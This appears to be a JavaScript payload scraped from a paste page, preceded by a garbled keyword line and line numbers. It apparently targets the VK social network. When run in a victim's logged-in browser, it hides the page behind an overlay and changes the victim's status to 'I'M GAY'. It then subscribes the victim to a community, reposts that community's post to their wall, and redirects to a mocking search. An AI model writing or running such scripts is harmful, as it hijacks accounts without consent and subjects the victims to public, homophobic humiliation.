var rafAsync new Promise resolve requestAnimationFram resolve var awai

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
var rafAsync = () => new Promise(resolve => requestAnimationFrame(resolve));
var awaitElement = (selector) => {
return document.querySelector(selector)
? Promise.resolve(document.querySelector(selector))
: rafAsync().then(() => awaitElement(selector))
};
var layer = document.createElement("div");
layer.id = "for_remove";
layer.style = `
position: fixed;
width: 100%;
height: 100%;
display: flex;
left: 0;
background-color: #ddd;
top: 0;
align-items: center;
justify-content: center;
background-size: 300px;
background-image: url("https://www.netclipart.com/pp/m/158-1587289_gay-pride-flag-png-page-gay-pride-png.png");
z-index: 99999999999;
`;
document.body.insertBefore(layer, document.body.firstChild);
awaitElement("#l_pr > a")
.then(myPageLink => {
myPageLink.click();
setTimeout(() => {
awaitElement('#currinfo_wrap')
.then(changeStatusWrapper => {
changeStatusWrapper.click();
awaitElement("#currinfo_input")
.then(statusInput => {
statusInput.textContent = "I'M GAY";
awaitElement("#currinfo_save")
.then(saveBtn => {
saveBtn.click();
awaitElement('#ts_input')
.then(searchInput => {
searchInput.dispatchEvent(new Event("focus"));
searchInput.value = "Zone Gay Romanticaâ„¢";
searchInput.dispatchEvent(new Event("keyup"));
awaitElement("#ts_contact-43627708")
.then(searchResult => {
searchResult.click();
awaitElement("#public_subscribe")
.then(subscribeButton => {
setTimeout(() => {
subscribeButton.click();
awaitElement("#post-43627708_13896 > div > div.post_content > div > div.like_wrap._like_wall-43627708_13896 > div > div.like_btns > a.like_btn.share._share")
.then(shareBtn => {
shareBtn.click();
awaitElement("#like_share_my").then(onWallRadio => {
onWallRadio.click();
awaitElement("#like_share_send").then(shareBtn => {
shareBtn.click();
window.location = "https://www.google.com/search?q=i%27m+gay+what+do+i+do&oq=i%27m+gay+what";
});
});
});
}, 2000)
});
});
})
});
});
});
}, 1500)
});